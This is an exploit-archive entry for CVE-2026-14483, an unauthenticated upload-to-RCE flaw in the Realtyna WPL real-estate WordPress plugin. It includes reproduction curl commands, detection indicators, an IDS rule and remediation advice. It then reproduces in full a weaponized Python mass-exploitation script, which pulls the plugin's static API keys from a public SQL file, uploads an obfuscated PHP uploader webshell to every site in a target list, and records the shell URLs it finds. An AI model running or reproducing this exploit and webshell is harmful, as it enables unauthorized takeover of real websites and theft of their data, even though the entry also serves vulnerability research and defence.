PoC Archive PoC Archive
CVE-2026-14483 category: web CVSS 9.8 (CRITICAL)
Unpatched

Realtyna WPL Real Estate WordPress Plugin Unauthenticated File Upload to RCE (CVE-2026-14483)

Published: 2026-11-27 • Researcher: MADEXPLOITS (repository author, git identity Mr.Mad); vulnerability published by NVD with credits to the reporting researcher

Target software Realtyna Organic IDX plugin / WPL Real Estate plugin for WordPress (plugin slug real-estate-listing-realtyna-wpl)
Affected versions All versions up to and including 5.2.0 (no fixed release identified in the NVD record at the time of writing)
Status Weaponized
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-08-02 (upstream commit 9b3e41f, 2026-08-02 03:37:21 +0700)
Author / ResearcherMADEXPLOITS (repository author, git identity Mr.Mad); vulnerability published by NVD with credits to the reporting researcher
CVE / AdvisoryCVE-2026-14483
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
TagsWordPress, Realtyna WPL, arbitrary file upload, unauthenticated, RCE, CWE-434, PHP, webshell, static API credentials
RelatedN/A

Affected Target

FieldValue
Software / SystemRealtyna Organic IDX plugin / WPL Real Estate plugin for WordPress (plugin slug real-estate-listing-realtyna-wpl)
Versions AffectedAll versions up to and including 5.2.0 (no fixed release identified in the NVD record at the time of writing)
Language / PlatformPHP on WordPress with MySQL; the PoC is Python 3 and targets any reachable WordPress install running the plugin
Authentication RequiredNo. The WPL I/O endpoint is authenticated only by the plugin’s static seeded api_key / api_secret, which are identical across installations and readable from a publicly served SQL migration file
Network Access RequiredYes, HTTP or HTTPS to the WordPress front end (no administrative session required)

Summary

CVE-2026-14483 is an unauthenticated arbitrary file upload in the Realtyna WPL Real Estate plugin for WordPress. The plugin’s I/O service endpoint is registered on the public WordPress init hook without any WordPress capability check, and it accepts the plugin’s static, publicly known API key and secret as the only credential. Because the mobile application property-setting command passes an uploaded file to a save routine that does not validate the file type or extension, an attacker can place a PHP file under the uploads directory and execute it. NVD rates the issue 9.8 Critical with remote code execution as the stated outcome.

Vulnerability Details

Root Cause

Two defects combine. First, the WPL I/O service is initialised from the public WordPress init hook and authorises requests solely against api_key and api_secret values that the plugin seeds itself through its own SQL migration files (assets/migrations/basic/1.0.0.sql, rows 34 and 35). Those defaults are therefore identical for every installation and are served as a static file from the plugin directory, so the credentials are effectively public. Second, the upload path reached through the mobile application command set_property writes the client-supplied file into wp-content/uploads/WPL/{property_id}/ without checking its type: the file type validation that exists in the plugin’s file helper is not applied on this code path, so a .php filename and payload survive to disk. NVD classifies the flaw as CWE-434, unrestricted upload of a file with a dangerous type.

Attack Vector

A single unauthenticated multipart POST to the site root carrying the WPL I/O routing parameters. The request uses query parameters wplview=io, wplformat=io, public_key=<api_key>, private_key=<api_secret>, cmd=set_property, commands_directory=mobile_application and dformat=json, plus ordinary property fields, and attaches the payload as the file[] part. Because the endpoint is routed through the WordPress init hook, no login cookie, nonce or capability is needed. The script first fetches the public SQL migration dump to recover the key pair, then optionally brute-forces the resulting property directory to locate the dropped file.

Impact

Remote code execution as the web server user on the WordPress host. From there an attacker can read wp-config.php and the database credentials, dump or alter the site database, upload further tooling, and use the host as a foothold for lateral movement. The upload itself is pre-authentication, so every reachable site running a vulnerable version is exposed without any prior knowledge beyond the plugin being present.

Environment / Lab Setup

Output
OS:          Any Linux host capable of running WordPress and MySQL/MariaDB
Target:      WordPress + real-estate-listing-realtyna-wpl 5.2.0, served over HTTP/HTTPS
Attacker:    Linux or macOS with Python 3.8+ and network access to the target
Tools:       Python 3, requests, colorama; curl for manual verification; a local WordPress lab

Setup Steps

Shell script
1
2
3
4
5
pip install requests colorama

echo http://wplab.test > targets.txt

python3 CVE-2026-14483.py --targets targets.txt --debug

The upstream repository ships no Dockerfile or vulnerable image; a lab must provide its own WordPress install with the 5.2.0 plugin release. No exploit code was executed while preparing this entry.

Proof of Concept

Step-by-Step Reproduction

  1. Confirm the plugin version - The script reads readme.txt (or the plugin main file) and refuses to continue unless the reported version is 5.2.0, unless --force is given.

    Shell script
    1
    
    curl -s http://wplab.test/wp-content/plugins/real-estate-listing-realtyna-wpl/readme.txt | grep -i 'stable tag'
  2. Recover the static API credentials - The plugin serves its SQL migration, which contains the seeded api_key and api_secret rows.

    Shell script
    1
    2
    
    curl -s http://wplab.test/wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql \
      | grep -E "\('?(34|35)'?,\s*'(api_key|api_secret)'"
  3. Upload the payload through the I/O endpoint - A multipart POST with the WPL routing parameters and a PHP file masquerading as an image.

    Shell script
    1
    2
    3
    
    curl -s -X POST "http://wplab.test/?wplview=io&wplformat=io&public_key=APIKEY&private_key=APISECRET&cmd=set_property&commands_directory=mobile_application&dformat=json" \
      -F "user_id=1" -F "field_listing=10" -F "field_property_type=6" -F "field_price=1000" \
      -F "file[]=@payload.php;filename=image_0x89MADEXPLOITS.php;type=image/jpeg"
  4. Locate the dropped file - The PoC walks property identifiers and requests the predictable upload path until the marker string appears in the response.

    Shell script
    1
    2
    3
    
    for id in $(seq 1 100); do
      curl -s -o /dev/null -w "%{http_code} $id\n" "http://wplab.test/wp-content/uploads/WPL/$id/0x89MADEXPLOITS.php"
    done

Exploit Code

See CVE-2026-14483.py in this folder.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
params = {
    "wplview": "io",
    "wplformat": "io",
    "public_key": self.api_key,
    "private_key": self.api_secret,
    "cmd": "set_property",
    "commands_directory": "mobile_application",
    "dformat": "json",
}

files = {"file[]": ("image_0x89MADEXPLOITS.php", f, "image/jpeg")}
resp = requests.post(self.base_url + "/", params=params, data=data, files=files)

The upload uses a double extension plus an image content type so that the request resembles a legitimate property image upload, while the trailing .php extension is what the save routine records on disk.

Expected Output

Output
[+] Shell found: http://wplab.test/wp-content/uploads/WPL/32/0x89MADEXPLOITS.php
[*] Progress: 1/1 | Found: 1
[+] Done. Found 1 shell(s). Check 'result.txt' for URLs.

Found shell URLs are appended one per line to result.txt (or the file passed with --output).

Detection & Indicators of Compromise

Output
POST /?wplview=io&wplformat=io&public_key=...&private_key=...&cmd=set_property&commands_directory=mobile_application&dformat=json

GET /wp-content/uploads/WPL/<id>/image_0x89MADEXPLOITS.php
GET /wp-content/uploads/WPL/<id>/<other>.php

GET /wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2026-14483 WPL I/O set_property upload"; flow:to_server,established; content:"wplview=io"; http_uri; content:"cmd=set_property"; http_uri; reference:cve,2026-14483; sid:9000144;)

Remediation

ActionDetail
PatchNo fixed version is identified in the NVD record; upgrade the plugin beyond 5.2.0 as soon as Realtyna publishes a patched release, and treat 5.2.0 and earlier as vulnerable.
WorkaroundDeactivate or remove the plugin if it is not required, block requests carrying wplview=io at the reverse proxy or WAF, and deny direct access to the plugin’s assets/migrations/*.sql files.
Config HardeningRotate the seeded api_key / api_secret rows, enforce extension and content-type validation on anything written to the uploads tree, disable PHP execution inside wp-content/uploads, and audit the WPL upload directories for unexpected PHP files.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/MadExploits/CVE-2026-14483 (0 stars, pushed 2026-08-01, Python).

Review verdict: ingested. This is a genuine exploit, not a version check: it parses the real seeded credentials out of the plugin’s public SQL migration, calls the real WPL I/O set_property command with the documented routing parameters, uploads a PHP payload as a property image, and then locates and verifies the dropped file by marker string. The flow matches the NVD description of the missing capability check and the static plugin-seeded API credentials. It contains no C2, persistence, evasion, credential-stealing, mining or bot functionality.

License: the repository has no LICENSE file and its README states no license; copyright remains with the upstream author (MADEXPLOITS). The script is copied verbatim except for the two-line archive header, with attribution retained.

Payload note: the script’s default upload payload is a small PHP uploader shell embedded as a string in DEFAULT_PAYLOAD (with a base64-encoded call to move_uploaded_file). It is the PoC’s RCE demonstration payload rather than a separate module, so the script was archived unchanged; do not treat DEFAULT_PAYLOAD as a reusable tool and replace it with a harmless marker file for lab verification.

Limitations: the script only proceeds against version 5.2.0 unless --force is used, so hosts hiding their plugin version need the override; shell discovery depends on brute-forcing property identifiers up to --max-id and fails if the plugin stores uploads elsewhere; mass mode is threaded and appends every hit to one output file; the credential regexes are tied to the current row numbering in the shipped migration file. No exploit code was executed during preparation of this entry.

CVE-2026-14483.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/MadExploits/CVE-2026-14483 (see README for attribution/license)
"""
CVE-2026-14483 - WPL Real Estate Plugin RCE (Mass Target - OOP Version)
Exploit by MADEXPLOITS
Enhanced with threading, colored output, version check (5.2.0), and clean progress.
"""

import requests
import re
import sys
import os
import tempfile
import json
import argparse
import threading
from typing import Optional, Tuple, List
from concurrent.futures import ThreadPoolExecutor, as_completed
import colorama
from colorama import Fore, Style, init as colorama_init

# Initialize colorama
colorama_init(autoreset=True)

# ----------------------------------------------------------------------
# Banner
# ----------------------------------------------------------------------
BANNER = f"""
{Fore.CYAN}  __  __           _ _____            _       _ _       
 |  \\/  | __ _  __| | ____|_  ___ __ | | ___ (_) |_ ___ 
 | |\\/| |/ _` |/ _` |  _| \\ \\/ / '_ \\| |/ _ \\| | __/ __|
 | |  | | (_| | (_| | |___ >  <| |_) | | (_) | | |_\\__ \\
 |_|  |_|\\__,_|\\__,_|_____/_/\\_\\ .__/|_|\\___/|_|\\__|___/
                               |_|                      {Style.RESET_ALL}
{Fore.YELLOW}   CVE-2026-14483 - WPL Real Estate RCE
   Exploit by MADEXPLOITS
   [*] Only vulnerable version 5.2.0 will be exploited (unless --force is used){Style.RESET_ALL}
"""

# ----------------------------------------------------------------------
# Utility print functions (colored) with a global lock
# ----------------------------------------------------------------------
print_lock = threading.Lock()

def print_info(msg):
    with print_lock:
        print(f"{Fore.BLUE}[*] {msg}{Style.RESET_ALL}")

def print_success(msg):
    with print_lock:
        print(f"{Fore.GREEN}[+] {msg}{Style.RESET_ALL}")

def print_warning(msg):
    with print_lock:
        print(f"{Fore.YELLOW}[!] {msg}{Style.RESET_ALL}")

def print_error(msg):
    with print_lock:
        print(f"{Fore.RED}[-] {msg}{Style.RESET_ALL}")

def print_debug(msg, debug=False):
    if debug:
        with print_lock:
            print(f"{Fore.CYAN}[D] {msg}{Style.RESET_ALL}")

# ----------------------------------------------------------------------
# Default payload – a file‑upload shell that echoes "MADEXPLOITS"
# ----------------------------------------------------------------------
DEFAULT_PAYLOAD = """<h1>MADEXPLOITS</h1><form method='POST' enctype='multipart/form-data'><input type='file' name='file'><input type='submit' name='submit' value='Submit'> <?php $Array = ['bW92ZV91cGxvYWRlZF9maWxl']; $hitung_array = count($Array); for ($i = 0; $i < $hitung_array; $i++) { $fungsi[] = base64_decode($Array[$i]); } if (isset($_POST['submit'])) { $file = $_FILES['file']['tmp_name']; $fileName = $_FILES['file']['name']; if (@$fungsi[0]($file, getcwd() . '/' . $fileName)) {echo 'file Success Uploaded';} else {echo 'File Failed Uploaded';}} ?>"""

# ----------------------------------------------------------------------
# Main Exploit Class
# ----------------------------------------------------------------------
class WPLExploit:
    """Handles exploitation of a single WordPress + WPL target (only if version == 5.2.0, unless force=True)."""

    def __init__(
        self,
        base_url: str,
        user_id: str = "1",
        payload: str = DEFAULT_PAYLOAD,
        max_id: int = 1000,
        timeout: int = 30,
        debug: bool = False,
        force: bool = False,
    ):
        self.base_url = base_url.rstrip('/')
        self.user_id = user_id
        self.payload = payload
        self.max_id = max_id
        self.timeout = timeout
        self.debug = debug
        self.force = force
        self.api_key: Optional[str] = None
        self.api_secret: Optional[str] = None
        self.upload_response: Optional[requests.Response] = None
        self.version: Optional[str] = None

    def get_plugin_version(self) -> Optional[str]:
        """Retrieve WPL plugin version from readme.txt or main plugin file."""
        # Try readme.txt first
        readme_url = self.base_url + '/wp-content/plugins/real-estate-listing-realtyna-wpl/readme.txt'
        try:
            resp = requests.get(readme_url, timeout=self.timeout)
            if resp.status_code == 200:
                match = re.search(r'Stable tag:\s*([0-9.]+)', resp.text)
                if match:
                    return match.group(1)
                match = re.search(r'Version:\s*([0-9.]+)', resp.text)
                if match:
                    return match.group(1)
        except Exception:
            pass

        # Fallback: main plugin file (wpl.php)
        main_url = self.base_url + '/wp-content/plugins/real-estate-listing-realtyna-wpl/wpl.php'
        try:
            resp = requests.get(main_url, timeout=self.timeout)
            if resp.status_code == 200:
                match = re.search(r'Version:\s*([0-9.]+)', resp.text)
                if match:
                    return match.group(1)
        except Exception:
            pass

        return None

    def get_credentials(self) -> Tuple[str, str]:
        """Extract api_key and api_secret from the public SQL dump."""
        sql_path = (
            self.base_url
            + '/wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql'
        )
        print_debug(f"Fetching SQL dump from {sql_path}", self.debug)
        resp = requests.get(sql_path, timeout=self.timeout)
        if resp.status_code != 200:
            raise RuntimeError(f"Failed to fetch SQL (HTTP {resp.status_code})")

        content = resp.text
        key_pattern = r"\(\s*34\s*,\s*'api_key'\s*,\s*'([^']*)'\s*,"
        secret_pattern = r"\(\s*35\s*,\s*'api_secret'\s*,\s*'([^']*)'\s*,"

        key_match = re.search(key_pattern, content)
        secret_match = re.search(secret_pattern, content)
        if not key_match or not secret_match:
            raise RuntimeError("Could not find api_key/api_secret in SQL dump")

        self.api_key = key_match.group(1)
        self.api_secret = secret_match.group(1)
        return self.api_key, self.api_secret

    def upload_shell(self) -> requests.Response:
        """Upload the PHP shell via the WPL I/O API (set_property)."""
        if not self.api_key or not self.api_secret:
            raise RuntimeError("API credentials not set. Call get_credentials() first.")

        endpoint = self.base_url + '/'
        params = {
            "wplview": "io",
            "wplformat": "io",
            "public_key": self.api_key,
            "private_key": self.api_secret,
            "cmd": "set_property",
            "commands_directory": "mobile_application",
            "dformat": "json",
        }

        data = {
            "user_id": self.user_id,
            "field_listing": "10",
            "field_property_type": "6",
            "field_price": "1000",
            "field_bedrooms": "2",
        }

        remote_name = "image_0x89MADEXPLOITS.php"

        with tempfile.NamedTemporaryFile(mode="w", suffix=".php", delete=False) as tmp:
            tmp.write(self.payload)
            tmp_path = tmp.name

        try:
            with open(tmp_path, "rb") as f:
                files = {"file[]": (remote_name, f, "image/jpeg")}
                resp = requests.post(
                    endpoint,
                    params=params,
                    data=data,
                    files=files,
                    timeout=self.timeout
                )
        finally:
            os.unlink(tmp_path)

        self.upload_response = resp
        return resp

    def find_shell(self) -> Optional[str]:
        """Brute‑force property ID to locate the uploaded shell."""
        marker = "MADEXPLOITS"
        base = self.base_url
        for pid in range(1, self.max_id + 1):
            url = f"{base}/wp-content/uploads/WPL/{pid}/0x89MADEXPLOITS.php"
            try:
                resp = requests.get(url, timeout=self.timeout)
                if resp.status_code == 200 and marker in resp.text:
                    return url
            except requests.RequestException:
                pass

            if pid % 100 == 0:
                print_debug(f"Scanned up to ID {pid}", self.debug)
        return None

    def run(self) -> Optional[str]:
        """Execute the full exploit chain, with optional version enforcement."""
        try:
            print_debug(f"Processing target: {self.base_url}", self.debug)

            # Check plugin version
            self.version = self.get_plugin_version()
            if self.version is None:
                print_warning(f"Could not determine WPL version for {self.base_url}.")
                if not self.force:
                    print_warning("Skipping (use --force to override).")
                    return None
                else:
                    print_warning("Force enabled – proceeding anyway.")
            elif self.version != "5.2.0":
                print_warning(f"WPL version {self.version} (not 5.2.0) on {self.base_url}.")
                if not self.force:
                    print_warning("Skipping (use --force to override).")
                    return None
                else:
                    print_warning("Force enabled – proceeding anyway.")
            else:
                print_debug(f"WPL version {self.version} confirmed (vulnerable).", self.debug)

            # Proceed with exploitation
            print_debug("Fetching API credentials...", self.debug)
            self.get_credentials()
            print_debug(f"API Key: {self.api_key}", self.debug)
            print_debug(f"API Secret: {self.api_secret}", self.debug)

            print_debug("Uploading PHP shell...", self.debug)
            resp = self.upload_shell()
            print_debug(f"Upload HTTP status: {resp.status_code}", self.debug)

            if resp.status_code != 200:
                print_warning(f"Upload failed (non-200) for {self.base_url}")
                return None

            # Check JSON success flag if possible
            try:
                data = resp.json()
                if not data.get("result", {}).get("success", False):
                    print_warning(f"Upload reported failure for {self.base_url}")
                    return None
            except json.JSONDecodeError:
                pass

            print_debug("Upload successful. Brute‑forcing property ID...", self.debug)
            shell_url = self.find_shell()
            if shell_url:
                print_success(f"Shell found: {shell_url}")
                return shell_url
            else:
                print_warning(f"Could not locate shell for {self.base_url}. Try increasing --max-id.")
                return None

        except Exception as e:
            print_error(f"Error on {self.base_url}: {e}")
            return None


# ----------------------------------------------------------------------
# Mass Exploit Handler with Threads & Clean Progress
# ----------------------------------------------------------------------
class MassExploit:
    def __init__(self, target_file: str, output_file: str, args: argparse.Namespace):
        self.target_file = target_file
        self.output_file = output_file
        self.args = args
        self.targets: List[str] = []
        self.lock = threading.Lock()
        self.found_count = 0
        self.processed_count = 0
        self.total_count = 0

    def load_targets(self) -> int:
        try:
            with open(self.target_file, 'r') as f:
                self.targets = []
                for line in f:
                    url = line.strip()
                    if not url:
                        continue
                    # Add http:// if no scheme is present
                    if not url.startswith(('http://', 'https://')):
                        url = 'http://' + url
                    self.targets.append(url)
            self.total_count = len(self.targets)
            return self.total_count
        except Exception as e:
            print_error(f"Failed to read target file: {e}")
            sys.exit(1)

    def process_target(self, url: str) -> Optional[str]:
        print_info(f"Processing: {url}")
        exploit = WPLExploit(
            base_url=url,
            user_id=self.args.user_id,
            payload=self.args.payload,
            max_id=self.args.max_id,
            timeout=self.args.timeout,
            debug=self.args.debug,
            force=self.args.force,
        )
        result = exploit.run()
        if result is None:
            print_info(f"Finished: {url} -> No shell found")
        else:
            print_info(f"Finished: {url} -> SUCCESS")
        return result

    def process_all(self) -> int:
        max_workers = self.args.threads
        print_info(f"Using {max_workers} concurrent threads.")

        with ThreadPoolExecutor(max_workers=max_workers) as executor:
            future_to_url = {executor.submit(self.process_target, url): url for url in self.targets}

            for future in as_completed(future_to_url):
                url = future_to_url[future]
                self.processed_count += 1
                try:
                    shell_url = future.result()
                    if shell_url:
                        with self.lock:
                            with open(self.output_file, 'a') as out:
                                out.write(shell_url + '\n')
                        self.found_count += 1
                except Exception as e:
                    print_error(f"Exception processing {url}: {e}")
                print_info(f"Progress: {self.processed_count}/{self.total_count} | Found: {self.found_count}")

        return self.found_count


# ----------------------------------------------------------------------
# Main Entry Point
# ----------------------------------------------------------------------
def main():
    print(BANNER)
    parser = argparse.ArgumentParser(
        description="CVE-2026-14483 - WPL Real Estate RCE (Mass Target) - only version 5.2.0 by default",
        epilog="Exploit by MADEXPLOITS"
    )
    parser.add_argument(
        "--targets",
        required=True,
        help="File containing list of base URLs (one per line)",
    )
    parser.add_argument(
        "--output",
        default="result.txt",
        help="Output file to append found shell URLs (default: result.txt)",
    )
    parser.add_argument(
        "--user-id",
        default="1",
        help="User ID that will own the new property (default: 1)",
    )
    parser.add_argument(
        "--payload",
        default=DEFAULT_PAYLOAD,
        help="PHP code to inject (default: a file‑upload shell with a form)",
    )
    parser.add_argument(
        "--max-id",
        type=int,
        default=1000,
        help="Maximum property ID to brute‑force (default: 1000)",
    )
    parser.add_argument(
        "--timeout",
        type=int,
        default=30,
        help="Timeout in seconds for each request (default: 30)",
    )
    parser.add_argument(
        "--threads",
        type=int,
        default=5,
        help="Number of concurrent threads (default: 5)",
    )
    parser.add_argument(
        "--debug",
        action="store_true",
        help="Enable debug output",
    )
    parser.add_argument(
        "--force",
        action="store_true",
        help="Force exploitation even if version is not 5.2.0 or cannot be determined",
    )

    args = parser.parse_args()

    mass = MassExploit(args.targets, args.output, args)
    total = mass.load_targets()
    print_info(f"Loaded {total} target(s). Output will be saved to '{args.output}'")

    found = mass.process_all()
    print_success(f"Done. Found {found} shell(s). Check '{args.output}' for URLs.")


if __name__ == "__main__":
    main()